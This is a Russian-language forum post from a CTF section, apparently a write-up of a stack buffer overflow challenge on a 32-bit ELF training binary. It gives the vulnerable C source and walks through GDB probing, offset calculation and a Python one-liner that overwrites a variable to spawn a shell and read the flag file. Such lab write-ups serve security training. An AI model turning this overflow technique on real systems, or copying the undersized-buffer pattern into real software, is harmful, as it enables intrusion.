HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 10.05.2019, 15:41
fuzzz
Новичок
Регистрация: 03.02.2019
Сообщений: 0
С нами: 3829524

Репутация: 0
По умолчанию

App-System, ELF x86 - Stack buffer overflow basic 1

Environment configuration :


PIEPosition Independent Executable

RelRORead Only relocations

NXNon-Executable Stack

Heap execNon-Executable Heap

ASLRAddress Space Layout Randomization

SFSource Fortification

SRCSource code access

Source code:

C:


Код:
#include 
#include 
/*
gcc -m32 -o ch13 ch13.c -fno-stack-protector
*/
int
main
(
)
{
int
var
;
int
check
=
0x04030201
;
char
buf
[
40
]
;
fgets
(
buf
,
45
,
stdin
)
;
printf
(
"\n[buf]: %s\n"
,
buf
)
;
printf
(
"[check] %p\n"
,
check
)
;
if
(
(
check
!=
0x04030201
)
&&
(
check
!=
0xdeadbeef
)
)
printf
(
"\nYou are on the right way!\n"
)
;
if
(
check
==
0xdeadbeef
)
{
printf
(
"Yeah dude! You win!\nOpening your shell...\n"
)
;
system
(
"/bin/dash"
)
;
printf
(
"Shell closed! Bye.\n"
)
;
}
return
0
;
}
Решение
Очень простое задание. Без харденинг защит да и к тому же есть исходный код. Суть задачи переполнить буфер и перезаписать переменную check к конкретную значению, а именно к значению "0xdeadbeef"после чего откроется шелл и можно будет получить флаг.

Запускаем отладчик GDB. Переполняем буфер и перезаписываем значение переменной.

Код:
gdb -q ./ch13
r
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
q


Видно такую конструкцию

Код:
[buf]: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK
[check] 0x4b4b4b4b
эти данные говорят

[buf] что это та строчка которая влезла в буфер и за его пределы
[check] текущие значение переменной

Запустим Python чтобы вычислить размер строки и для того, чтобы узнать что это за значение хранится в переменной check.

Код:
python
len("AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK")
chr(0x4b)
quit()


Видно и становится ясно, что это 0x4b4b4b4b == "KKKK"

По условию задания check должен быть значению 0xdeadbeefтогда откроется шелл, после чего можно получить флаг.

Составим эксплойт.

40 байт пойдут в буфер, а следующие 4 на перезапись переменной check куда мы положим значение 0xdeadbeef.

Чтобы не мучатся, адреса воспользуемся модулем struct.

Код:
(python -c 'from struct import pack;print "A"*40 + pack("I",0xdeadbeef)';cat) | ./ch13
затем с помощью cat узнаем содержимое .passwd

Код:
cat .passwd
Код:
Сtrl+D
- выход.



Вот таким образом можно получить флаг.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.